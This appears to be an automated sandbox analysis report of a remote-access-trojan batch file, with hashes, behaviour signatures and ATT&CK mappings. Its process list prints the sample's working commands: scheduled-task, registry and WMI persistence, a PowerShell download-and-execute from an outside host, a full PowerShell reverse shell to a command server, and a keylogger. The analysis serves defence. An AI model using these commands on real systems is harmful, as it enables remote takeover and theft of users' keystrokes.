Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:17
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_84700_014254.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_84700_014254.bat
Resource
win11-20260513-en
General
- Target rat_build_84700_014254.bat
- Size 4KB
- Sample260529-17c1jsb15m
- SHA256 c00cd35186893024fc36ca54e983566756160179a81b4760386748507c138a12
- MD5 7fdb64bd30b50dd416c6a2cc75e7b95b
- SHA1 4c346cc8d6f1889552f059c304d258bdb0b315ff
- SHA512 1e24ca56e0fa39c07922d7564ca2397831de49f658e0fb92d869a9d5fc3b50d80435a943ff54817e76b9eec1edd128361367443887db3e1c60949e8a9d4931a9
- SSDEEP 96:08IeDWCbgWcNOvV9amVkbL9Y0qSkAFVwNgJ+X3gFtwRkiFgZk8mvlo18A:08ACbg+3ammBqX3heiFgkHlBA
- TLSH T123A11A1B57A7B11098B07268E9323D885BECD5FB2744CDCCEF88CDC5062DA4791292B7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_84700.ps1
Signatures
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pid Process 1188 powershell.exe 3860 powershell.exe 2480 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_84700 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_84700.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 2612 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2692 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3288 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4788 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1188 powershell.exe 1188 powershell.exe 3860 powershell.exe 3860 powershell.exe 2480 powershell.exe 2480 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3300 WMIC.exe Token: SeSecurityPrivilege 3300 WMIC.exe Token: SeTakeOwnershipPrivilege 3300 WMIC.exe Token: SeLoadDriverPrivilege 3300 WMIC.exe Token: SeSystemProfilePrivilege 3300 WMIC.exe Token: SeSystemtimePrivilege 3300 WMIC.exe Token: SeProfSingleProcessPrivilege 3300 WMIC.exe Token: SeIncBasePriorityPrivilege 3300 WMIC.exe Token: SeCreatePagefilePrivilege 3300 WMIC.exe Token: SeBackupPrivilege 3300 WMIC.exe Token: SeRestorePrivilege 3300 WMIC.exe Token: SeShutdownPrivilege 3300 WMIC.exe Token: SeDebugPrivilege 3300 WMIC.exe Token: SeSystemEnvironmentPrivilege 3300 WMIC.exe Token: SeRemoteShutdownPrivilege 3300 WMIC.exe Token: SeUndockPrivilege 3300 WMIC.exe Token: SeManageVolumePrivilege 3300 WMIC.exe Token: 33 3300 WMIC.exe Token: 34 3300 WMIC.exe Token: 35 3300 WMIC.exe Token: 36 3300 WMIC.exe Token: SeIncreaseQuotaPrivilege 3300 WMIC.exe Token: SeSecurityPrivilege 3300 WMIC.exe Token: SeTakeOwnershipPrivilege 3300 WMIC.exe Token: SeLoadDriverPrivilege 3300 WMIC.exe Token: SeSystemProfilePrivilege 3300 WMIC.exe Token: SeSystemtimePrivilege 3300 WMIC.exe Token: SeProfSingleProcessPrivilege 3300 WMIC.exe Token: SeIncBasePriorityPrivilege 3300 WMIC.exe Token: SeCreatePagefilePrivilege 3300 WMIC.exe Token: SeBackupPrivilege 3300 WMIC.exe Token: SeRestorePrivilege 3300 WMIC.exe Token: SeShutdownPrivilege 3300 WMIC.exe Token: SeDebugPrivilege 3300 WMIC.exe Token: SeSystemEnvironmentPrivilege 3300 WMIC.exe Token: SeRemoteShutdownPrivilege 3300 WMIC.exe Token: SeUndockPrivilege 3300 WMIC.exe Token: SeManageVolumePrivilege 3300 WMIC.exe Token: 33 3300 WMIC.exe Token: 34 3300 WMIC.exe Token: 35 3300 WMIC.exe Token: 36 3300 WMIC.exe Token: SeIncreaseQuotaPrivilege 4976 WMIC.exe Token: SeSecurityPrivilege 4976 WMIC.exe Token: SeTakeOwnershipPrivilege 4976 WMIC.exe Token: SeLoadDriverPrivilege 4976 WMIC.exe Token: SeSystemProfilePrivilege 4976 WMIC.exe Token: SeSystemtimePrivilege 4976 WMIC.exe Token: SeProfSingleProcessPrivilege 4976 WMIC.exe Token: SeIncBasePriorityPrivilege 4976 WMIC.exe Token: SeCreatePagefilePrivilege 4976 WMIC.exe Token: SeBackupPrivilege 4976 WMIC.exe Token: SeRestorePrivilege 4976 WMIC.exe Token: SeShutdownPrivilege 4976 WMIC.exe Token: SeDebugPrivilege 4976 WMIC.exe Token: SeSystemEnvironmentPrivilege 4976 WMIC.exe Token: SeRemoteShutdownPrivilege 4976 WMIC.exe Token: SeUndockPrivilege 4976 WMIC.exe Token: SeManageVolumePrivilege 4976 WMIC.exe Token: 33 4976 WMIC.exe Token: 34 4976 WMIC.exe Token: 35 4976 WMIC.exe Token: 36 4976 WMIC.exe Token: SeIncreaseQuotaPrivilege 4976 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3396 wrote to memory of 4788 3396 cmd.exe 82 PID 3396 wrote to memory of 3288 3396 cmd.exe 83 PID 3396 wrote to memory of 3300 3396 cmd.exe 84 PID 3396 wrote to memory of 4976 3396 cmd.exe 85 PID 3396 wrote to memory of 2464 3396 cmd.exe 86 PID 3396 wrote to memory of 2692 3396 cmd.exe 87 PID 3396 wrote to memory of 2612 3396 cmd.exe 91 PID 3396 wrote to memory of 1188 3396 cmd.exe 92 PID 3396 wrote to memory of 3860 3396 cmd.exe 93 PID 3396 wrote to memory of 2480 3396 cmd.exe 94 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_84700_014254.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3396 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_84700" /tr "C:\Users\Admin\AppData\Local\Temp\_84700.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4788
-
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_84700" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_84700.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3288
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_84700", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3300
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_84700", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_84700.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4976
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_84700.txt2⤵PID:2464
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2692
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-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:2612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_84700.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1188
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3860
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2480
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
- MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
- SHA1 4b29742350c7851853767013e11d09fb954063ac
- SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
- TLSH T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
- MD5 7a9772bc4c578c1736aa04a056f68da3
- SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
- SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
- TLSH T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u4ebxtst.24p.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH